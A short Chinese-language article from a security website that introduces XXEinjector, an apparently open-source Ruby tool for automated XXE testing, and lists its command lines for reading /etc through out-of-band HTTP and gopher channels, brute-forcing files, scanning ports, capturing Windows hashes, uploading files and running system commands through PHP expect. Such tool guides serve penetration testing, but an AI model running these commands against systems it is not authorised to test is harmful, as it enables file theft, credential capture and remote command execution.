XXE自动化测试工具

华盟原创文章投稿奖励计划

  项目地址

  https://github.com/enjoiz/XXEinjector

 

  项目简介

  XXEinjector是一个使用Ruby编写的自动化xxe漏洞检测工具,可以通过给定一个http请求的包,然后设置好好参数就会自动化的进行fuzz,他会通过内置的规则进行自动化的测试,并且还支持二次注入(通过另一个请求触发漏洞)。

  使用方法

  列 /etc 目录 通过https:

  ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --ssl

  Enumerating /etc directory using gopher for OOB method:

  ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher

  二次注入:

  ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt --2ndfile=/tmp/2ndreq.txt

  通过http协议暴力枚举文件:

  ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt --file=/tmp/req.txt --oob=http --netdoc

  直接枚举:

  ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK

  枚举所有端口:

  ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all

  获取windows hash:

  ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --hashes

  通过java的jar上传文件:

  ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --upload=/tmp/uploadfile.pdf

  执行系统命令使用 PHP expect:

  ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter --expect=ls

  测试XSLT注入:

  ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --xslt

  记录请求日志:

  ruby XXEinjector.rb --logger --oob=http --output=/tmp/out.txt

XXE自动化测试工具

原文地址:https://hack.77169.com/201602/224150.shtm

本文原创,作者:华盟君,其版权均为华盟网所有。如需转载,请注明出处:https://www.77169.net/html/18125.html

发表评论